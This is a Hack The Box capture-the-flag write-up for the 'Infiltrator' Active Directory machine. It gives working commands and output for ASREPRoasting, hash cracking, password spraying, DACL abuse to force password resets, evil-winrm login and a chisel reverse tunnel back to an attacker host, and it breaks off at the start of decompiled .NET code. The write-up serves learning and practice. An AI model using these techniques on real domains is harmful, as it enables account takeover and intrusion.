Post

HTB - Infiltrator

HTB - Infiltrator

Infiltrator is an insane window machine where we start off by collecting usernames from a website and test those usernmaes against kerberos to see if they exist and whether they have pre-authentication disabled. We find one user for which we manage to crack the hash. This hash leads us to a second user. From there, we follow the path given in bloodhound through which we’ll exploit GenericAll over an Organizational Unit which gives us control over our next user. This user has the right to add itself to a group which has ForceChangePassword permission over a new user. This gives us our first user to have a shell on the machine. We then discover a Output Messenger running locally for which we forward the needed ports to establish a connection. We discover discussions about a tool and a password. We download the tool and reverse engineer it to get the password for a winrm service account. In that account’s appdata, we find a database with an API key and a room ID for Output Messenger that we use to fetch the room’s discussions. We find the password for a new user and create an exploit in her Output Messenger’s agenda which gets triggered on the server and opens a reverse shell for us. That user has a pcap in their files which after analysis contains the machine password of this user and a bitlocker backup. With this user’s password, we can open an RDP session and using the previously obtained bitlocker recovery key, we get access to an LDAP archive. This archive contains the password for a new service account which can read the gmsa password of a machine account. This machine account can use a template vulnerable to ESC4 which we can chain to an ESC1 vulnerability. Using this chain, we get a hold of a certificate file for the administrator, grab their flag and complete the takeover of the system.

Reconnaissance

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Infiltrator.htb
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-21 21:38:24Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-21T21:39:44+00:00; +1s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-21T21:39:44+00:00; +1s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-21T21:39:44+00:00; +1s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
|_ssl-date: 2025-02-21T21:39:44+00:00; +1s from scanner time.
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: INFILTRATOR
|   NetBIOS_Domain_Name: INFILTRATOR
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: infiltrator.htb
|   DNS_Computer_Name: dc01.infiltrator.htb
|   DNS_Tree_Name: infiltrator.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2025-02-21T21:39:03+00:00
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Issuer: commonName=dc01.infiltrator.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-02-20T21:33:43
| Not valid after:  2025-08-22T21:33:43
| MD5:   4c05:ef7f:485c:7049:6db8:2d1c:5cfe:b372
|_SHA-1: 9358:172b:a55b:2694:2f5b:00cc:4516:7c16:1555:21e5
|_ssl-date: 2025-02-21T21:39:44+00:00; +1s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-02-21T21:39:05
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

We have a website running on port 80 and many ports open related to Active Directory, Kerberos and WinRM. There is also an RDP service running on the box on port 3389. We might find a user that is allowed to connect to that service.

Website analysis

Before browsing the website, we can already check what the underlying technology is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ curl -v http://10.129.231.134
*   Trying 10.129.231.134:80...
* Connected to 10.129.231.134 (10.129.231.134) port 80
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.129.231.134
> User-Agent: curl/8.12.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/html
< Last-Modified: Mon, 19 Feb 2024 00:41:24 GMT
< Accept-Ranges: bytes
< ETag: "361ade5dcc62da1:0"
< Server: Microsoft-IIS/10.0
< Date: Fri, 09 May 2025 20:30:17 GMT
< Content-Length: 31235

From the headers, we see that the website is hosted on the windows machine and not in a dockerized linux application.

Browsing for the IP, we are met with a website built using a generic design from TemplateMo: Website main page Website main page

I played around with the search bar and the contact form but nothing came from this.

Generating usernames

Scanning through the website, we find some potential user names. We’ll store them in a file for later. Website members Website members

1
2
3
4
5
6
7
David Anderson
Olivia Martinez
Kevin Turner
Amanda Walker
Marcus Harris
Lauren Clark
Ethan Rodriguez

From this list, we can create a list of usernames using various formats. I wrote a small script to generate some combination of those names. The idea is to then verify if those usernames are valid usernames.

We’ll generate 3 variants:

  • First name . Last name
  • First letter of the first name . Last name
  • First name . First letter of the last name
1
2
3
4
5
6
7
8
9
10
11
12
with open("website_names.txt", "r") as f:
    names = [line.strip().lower() for line in f.readlines()]

usernames = []
for full_name in names:
    first_name, last_name = full_name.split()
    usernames.append(f"{first_name}.{last_name}")
    usernames.append(f"{first_name[0]}.{last_name}")
    usernames.append(f"{first_name}.{last_name[0]}")

with open("website_usernames.txt", "w") as f:
    f.write("\n".join(usernames))

An example of the usernames generated for David Anderson: david.anderson, d.anderson and david.a.

Authentication as l.clark

With this list of usersnames we can try to find whether they are 1) valid within the AD and 2) have the property Do not require Kerberos preauthentication set.

ASREPRoast

1
2
3
4
5
6
$ python examples/GetNPUsers.py infiltrator.htb/ -usersfile ~/htb/machines/infiltrator/website_usernames.txt -format hashcat

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...
$krb5asrep$23$l.clark@INFILTRATOR.HTB:603a8d9ff3da53e03113bc08ab2e9c90$863abc071e243e204d02d009f6d4094383ec4891de85d7d9d475b3bf9add251e4d3b9c53f7371fef049297a41fff85b1f4479e0d35bb2cbba5494c063e3ef7151ad478d70c74164ffa9899b3aa4491896288e4853263a2f0049f5782f14c5f42592a630b0d93afce9b09e90c2b53bb4e62274e17255dc59103c6cb5816134d080cf3ed1366d0f5ff2422e5e420f89305bda20731e873890d50914a051cc133f69930ac722bfb13b8a08fa0f7caf775ce932d5348a33b9a35b27113fc1baf38e6fac52d610a9b13e324948ad77d6bcb2fc09cbe710a223da35b53dba731512e399a80db674badcedabcbad78afc8c0d2ba46c

We have a hit for l.clark! Having generated this hash, we can now try to crack it with hashcat:

1
2
3
$ hashcat l_clark_hash /usr/share/wordlists/rockyou.txt
...[snip]...
l.clark:WAT?watismypass!

Authentication as d.anderson

From the output of GetNPUsers, we also get more information than just the hash. We now know that the only combination that doesn’t give a KDC_ERR_C_PRINCIPAL_UNKNOWN error is the second one we generated (First letter of the first name . Last name). The second thing is that all the other users for which we generated usernames are valid users in the Kerberos database. We might not have the full list of users now but we’ll be able to generate this with our newly acquired credentials a bit later in this article.

Password spraying with l.clarck’s password

We now have a first valid password to authenticate to the AD. We can also check if there are other users who share the same password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ netexec ldap 10.129.231.134 -u website_usernames.txt -p 'WAT?watismypass!' --continue-on-success
LDAP        10.129.231.134  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:infiltrator.htb)
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\david.anderson:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\david.a:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\olivia.martinez:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\olivia.m:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\kevin.turner:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\kevin.t:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\amanda.walker:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\amanda.w:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\marcus.harris:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\marcus.h:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\lauren.clark:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\lauren.c:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\ethan.rodriguez:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\ethan.r:WAT?watismypass!

We only have a hit for our user l.clark. Given that we now have valid credentials, we can list all the known smb users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ netexec smb 10.129.231.134 -u l.clark -p 'WAT?watismypass!' --users
SMB         10.129.231.134  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.231.134  445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!
SMB         10.129.231.134  445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.129.231.134  445    DC01             Administrator                 2024-08-21 19:58:28 0       Built-in account for administering the computer/domain
SMB         10.129.231.134  445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.129.231.134  445    DC01             krbtgt                        2023-12-04 17:36:16 0       Key Distribution Center Service Account
SMB         10.129.231.134  445    DC01             D.anderson                    2023-12-04 18:56:02 0
SMB         10.129.231.134  445    DC01             L.clark                       2023-12-04 19:04:24 0
SMB         10.129.231.134  445    DC01             M.harris                      2025-02-21 22:31:43 0
SMB         10.129.231.134  445    DC01             O.martinez                    2024-02-25 15:41:03 0
SMB         10.129.231.134  445    DC01             A.walker                      2023-12-05 22:06:28 0
SMB         10.129.231.134  445    DC01             K.turner                      2024-02-25 15:40:35 0       MessengerApp@Pass!
SMB         10.129.231.134  445    DC01             E.rodriguez                   2025-02-21 22:31:43 0
SMB         10.129.231.134  445    DC01             winrm_svc                     2024-08-02 22:42:45 0
SMB         10.129.231.134  445    DC01             lan_managment                 2024-08-02 22:42:46 0

The user K.turner has a password set in its description. Trying this password on an smb or ldap connection turns out fruitless. We’ll keep this user for later use!

Next, we can already dump the active directory information for analysis with bloodhound.

1
2
3
4
5
$ netexec ldap 10.129.231.134 -u l.clark -p 'WAT?watismypass!' --dns-server 10.129.231.134 -d infiltrator.htb --bloodhound -c all
LDAP        10.129.231.134  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:infiltrator.htb)
LDAP        10.129.231.134  389    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 
LDAP        10.129.231.134  389    DC01             Resolved collection methods: psremote, trusts, acl, group, dcom, objectprops, rdp, localadmin, session, container
LDAP        10.129.231.134  389    DC01             Done in 00M 02S

l.clark group membership l.clark group membership

The user l.clark is part of the marketing team and that’s pretty much it. There is no other link to take over another user or machine. Checking the DACL’s applying to the user l.clark reveals nothing of interest. Based on these, it seems that we cannot really go further with l.clark…

Kerberos authentication

Instead of relying on NTLM authentication, we can check whether the password works for another user with Kerberos authentication (With netexec, it’s a matter of adding -k to the command):

1
2
3
4
5
6
7
8
9
$ netexec ldap 10.129.231.134 -u filtered_website_usernames.txt -p 'WAT?watismypass!' --continue-on-success -k
LDAP        10.129.231.134  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:infiltrator.htb)
LDAP        10.129.231.134  389    DC01             [+] infiltrator.htb\d.anderson:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
LDAP        10.129.231.134  389    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!
LDAP        10.129.231.134  389    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED

Using Kerberos authentication, we see that the password is also valid for the user d.anderson!

Authentication as e.rodriguez

The user d.anderson is a member of multiple groups among which we see the Protected Users group. This explains why we had to authenticate through Kerberos instead of NTLM. Members of this group have additional protections against authentication security threats.

d.anderson group membership d.anderson group membership

For this user, we have an outbound object control showing up in bloodhound:

d.anderson has GenericAll over Marketing Digital OU d.anderson has GenericAll over Marketing Digital OU

We have the equivalent of full control over the Marketing Digital OU, which contains the user e.rodriguez.

To gain control over e.rodriguez’s account, we first need to give ourself full control over the OU with the inheritance flag so that the e.rodriguez account inherits this full control. This then allows us to do what we want with that account.

1
2
3
4
5
6
$ python examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' infiltrator.htb/d.anderson:'WAT?watismypass!' -k -dc-ip 10.129.231.134

[-] CCache file is not found. Skipping...
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250509-235911.bak
[*] DACL modified successfully!

Remember to add the -k option to authenticate through Kerberos!

We can now change the password of e.rodriguez. To avoid weak password errors, we create one with at least one uppercase letter and one number.

1
2
$ $ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb --dc-ip 10.129.231.134 -u d.anderson -k  set password "e.rodriguez" "Rodriguezpassword1"
[+] Password changed successfully!

Shell as m.harris

The user e.rodriguez is a member of the Digital Influencers group but this group doesn’t seem to have anything interesting linked to it.

e.rodriguez group membership e.rodriguez group membership

Looking at the outbound object control, e.rodriguez has a direct path to the user m.harris:

e.rodriguez can take over m.harris e.rodriguez can take over m.harris

AddSelf to Chiefs Marketing

The first step is to add ourself to the Chiefs Marketing group. This is possible with the AddSelf permission over the Chiefs Marketing security group. Because of security groups delegation, when we’ll be a member of this group, we’ll have the same privileges as that group. Thus we will gain the permission to Force change the password of the user m.harris.

1
2
$ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p Rodriguezpassword1 add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'CN=E.RODRIGUEZ,OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB'
[+] CN=E.RODRIGUEZ,OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

ForceChangePassword for m.harris

Having now the ForceChangePassword, we can change the password for m.harris. I create a strong password just like the one of e.rodriguez:

1
2
$ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb --dc-ip 10.129.231.134 -u e.rodriguez -p Rodriguezpassword1  set password "m.harris" "Harrispassword1"
[+] Password changed successfully!

Authentication

The user m.harris is part of the Remote Management Users group and the Protected Users group. This means we’ll be able to connect using evil-winrm but we’ll have to authenticate through kerberos.

m.harris group membership m.harris group membership

To authenticate through Kerberos for evil-winrm, we first need to create a custom Kerberos configuration file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    INFILTRATOR.HTB = {
        kdc = dc01.infiltrator.htb
        admin_server = dc01.infiltrator.htb
        default_domain = dc01.infiltrator.htb
    }

[domain_realm]
    infiltrator.htb = INFILTRATOR.HTB
    .infiltrator.htb = INFILTRATOR.HTB

Then, we need to request a TGT as this will be used to authenticate instead of our password:

1
2
3
$ getTGT.py -dc-ip 10.129.231.134 infiltrator.htb/m.harris:'Harrispassword1'

[*] Saving ticket in m.harris.ccache

Before connecting with evil-winrm, we first need to export the KRB5_CONFIG and the KRB5CCNAME environment variables

1
2
$ export KRB5CCNAME=m.harris.ccache
$ export KRB5_CONFIG=/home/kali/htb/machines/infiltrator/custom_krb5.conf

We can now connect as m.harris:

1
2
3
$ evil-winrm -i dc01.infiltrator.htb -u m.harris -r INFILTRATOR.HTB

*Evil-WinRM* PS C:\Users\M.harris>

The user flag is located on the user’s desktop:

1
2
*Evil-WinRM* PS C:\Users\M.harris\Desktop> cat user.txt
19d89cbc************************

There are no saved credentials for this user and no interesting files in the user’s home folder.

Output Messenger

In C:\Program Files, we find two interesting folders: Output Messenger and Output Messenger Server.

Output Messenger is a secure & private messenger for team communication. We can learn about its configuration here. It uses multiple ports to work:

  • 14121 TCP – Application
  • 14122 TCP – File Transfer
  • 14123 TCP – Web server for Browser Version
  • 14124 TCP & UDP – VoIP for Voice/Video/Desktop Sharing
  • 14125 TCP – API Access
  • 2195 TCP – IOS Push Notification

The most interesting ones for us are probably Application, File Transfer, Web server and API Access so I’ll chisel those ports back to my kali VM later in this article.

The server generates by default a SQLite database named OMLs.db3. If we get our hands on this file, we would probably have access to multiple usernames and passwords.

Unfortunately, we don’t have access to the server folder. The Output Messenger folder contains the installation files for the software as well as some configuration files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false"/>
  </configSections>
  <runtime>
    <legacyCorruptedStateExceptionsPolicy enabled="false"/>
  </runtime>
  <startup useLegacyV2RuntimeActivationPolicy="true">
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
  </startup>
  <system.data>
    <DbProviderFactories>
      <clear/>
      <remove invariant="System.Data.SQLite"/>
      <add name="SQLite Data Provider" invariant="System.Data.SQLite" description="Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite"/>
      <remove invariant="System.Data.SQLite.EF6"/>
      <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6"/>
    </DbProviderFactories>
  </system.data>
  <entityFramework>
    <defaultConnectionFactory type="System.Data.Entity.Infrastructure.SqlConnectionFactory, EntityFramework"/>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer"/>
      <provider invariantName="System.Data.SQLite" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6"/>
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
</configuration>

What can we learn from this file? The client uses a SQLite database to store user data.

Looking through the files, there is also an interesting find with add_reinstall_prop.vbs

1
2
3
4
5
6
set o_installer = CreateObject("WindowsInstaller.Installer")
set o_database = o_Installer.OpenDatabase("E:\repo\om\Installer\OutputMessengerMSI\MSI\Release\OutputMessengerSetup.msi", 1)
s_SQL = "INSERT INTO Property (Property, Value) Values( 'REINSTALLMODE', 'amus')"
Set o_MSIView = o_DataBase.OpenView( s_SQL)
o_MSIView.Execute
o_DataBase.Commit

From the database location, we can see that there is another drive on the system. We can confirm this:

1
2
3
*Evil-WinRM* PS C:\Program Files\output messenger> fsutil fsinfo drives

Drives: C:\ E:\

Unfortunately, trying to switch to the E: drive doesn’t work. We will come back to this drive later with another user.

Chisel ports

The ports needed to connect to the Output Messenger server are not open outside of the machine so we’ll need to tunnel them to ourself. We can achieve this with Chisel.

First, we start a server on our attacker machine:

1
$ ./chisel server --reverse -p 8471

On the windows machine, we upload chisel.exe and connect back to our chisel server. We add the ports we want to open to our machine like this: R:14121:127.0.0.1:14121.

1
$ C:\temp\chisel.exe client --max-retry-count 10 10.10.14.120:8471 R:14118:127.0.0.1:14118 R:14119:127.0.0.1:14119 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126 R:14127:127.0.0.1:14127 R:14128:127.0.0.1:14128 R:14130:127.0.0.1:14130 R:14406:127.0.0.1:14406

For the full list of ports that I chose to open for my vm, I ran the netstat command:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Program Files\output messenger> netstat -ano
...[snip]...
TCP    0.0.0.0:14118          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14119          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14121          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14122          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14123          0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:14125          0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:14126          0.0.0.0:0              LISTENING       7016
TCP    0.0.0.0:14127          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14128          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14130          0.0.0.0:0              LISTENING       6100
TCP    0.0.0.0:14406          0.0.0.0:0              LISTENING       6736

For each PID, I checked which process was attached to it and proceeded with all the ports open for those 4 PIDs:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\M.harris\Documents> get-process -Id 4,6100,7016

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    972      89    96384     128640              6100   0 OMServerService
    228      28     6424      16276              7016   0 outputmessenger_httpd
    219      20   732012      82720              6736   0 outputmessenger_mysqld
   3977       0      192        124                 4   0 System

Connect to Output Messenger

With the ports now open for us, there are multiple options to connect. Output Messenger provides both a Linux app and a windows app. In addition, if activated, it is also possible to log in through a web version. (It is activated for this box but not all features seem to be activated so I’ll not mention it further)

Linux version

Downloading and installing the Output Messenger deb file, we can now launch it.

Output Messenger login screen Output Messenger login screen

If we click on the little server icon above the “Sign in” button, we also get to choose the IP we wish to connect to.

Output Messenger login screen with ip selection Output Messenger login screen with ip selection

We could try authenticating with l.clark, d.anderson, e.rodriguez or m.harris but if you recall from previously in this article, we found a password for k.turner: MessengerApp@Pass!! That password hints to the output messenger app so we’ll use this to connect. For the IP, we set our localhost IP address as that’s where the ports are open.

Logging in brings us to the main application:

Output Messenger main screen Output Messenger main screen

We can click on users and meeting rooms and this loads the previous conversations. We also see there are 2 other users connected: Olivia Martinez and Admin.

Loading the General meeting room, we find a message from the Admin user:

Hello everyone 😃 There have been some complaints regarding the stability of the “Output Messenger” application. In case you encounter any issues, please make sure you are using a Windows client. The Linux version is outdated.

So, we should probably use the Windows version if like the message says, the linux version is outdated. Indeed, when we check the release notes, we can see that the latest windows version is from February 19, 2024 while the linux version dates back from August 3, 2022!

As of writing this article, the linux version has been updated on December 27, 2024 but I didn’t see the features needed to perform the operations I’m about to demonstrate later.

NB: I initially installed the linux version on my kali but also tried installing the windows version using wine. It worked but crashed very often so that was not a real solution. We need to run it on a real windows machine.

Windows version

In order to run the windows version, we first need a windows VM! It can get a bit complex here if you’re only used to hacking using one linux VM but I’ll try to explain it as best as I can.

Double VM set-up

In my current set-up I have two VMs:

  • a kali VM which is connected to the HTB VPN and has the chisel server running for the Output Messenger ports
  • a windows VM running Output Messenger

Ideally, I would like to give the windows VM access to everything my kali VM has access to. For this, I created an extra network interface in each VM and allowed traffic in both directions. This way, the windows traffic is routed through the Kali VM and can contact the HTB services!

If you want to create yourself a similar set-up, 0xdf has written an excellent article on how to do this: networking vms for htb.

To give an idea of the final configuration, here is a schema:

VM config schema VM config schema

To connect to the Output Messenger server, we must now use the IP address of the kali VM on the VM intranet (192.168.223.110). When we hit “Sign in”, the connection goes through the VM intranet, arrives on the Kali VM. There, we have our chisel tunnel that forwards the data for those ports through the tunnel to the chisel client running on the Infiltrator machine where it can finally connect to the Output Messenger server.

Authentication as Winrm_svc

With our connection using the windows Output Messenger client, we log in as K.turner and immediately see a notification on the Output Wall.

Output Messenger wall notification Output Messenger wall notification

Navigating to that section shows us two posts:

  • One by Winrm_svc mentioning that Pre-Auth is disabled on kerberos for some users
  • One by K.turner themself about a certain UserExplorer app project

Output Messenger wall Output Messenger wall message

From K.turner’s post, we understand that there is a new tool being tested: UserExplorer. We also get a new password: D3v3l0p3r_Pass@1337!. This turns out to be the original password for m.harris before we changed it. This password also works to connect to Output Messenger.

Before connecting as m.harris, there is some more information regarding this binary in the Dev_chat. Reading through the messages, we learn that the binary is a tool made to retrieve information from LDAP most likely written in C or C#. It also features a a default option that decrypts some AES-encoded password. Unfortunately the binary is not shared in the chat but maybe m.harris shared it in a private message somewhere.

Logging in as m.harris and checking the private chat with the Admin reveals what we thought:

Output Messenger UserExplorer shared Output Messenger UserExplorer shared

When we click on “Download”, the file is being saved locally in a special folder: /home/kali/Output Messenger/IBBB/Received Files/Feb 2024/. This folder structure is important to bear in mind as it will prove useful later!

Analyzing the file, we can see that it’s a .NET binary:

1
2
$ file UserExplorer.exe 
UserExplorer.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

For these types of binaries, we can use dnSpy.

The binary has two interesting classes: LdapApp and Decryptor.

LdapApp is where the main business takes place. The program checks the input parameters and decrypts the password if the -default option is added. It then proceeds to query the LDAP and prints the results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
using System;
using System.DirectoryServices;

// Token: 0x02000003 RID: 3
internal class LdapApp
{
	// Token: 0x06000004 RID: 4 RVA: 0x0000213C File Offset: 0x0000033C
	private static void Main(string[] args)
	{
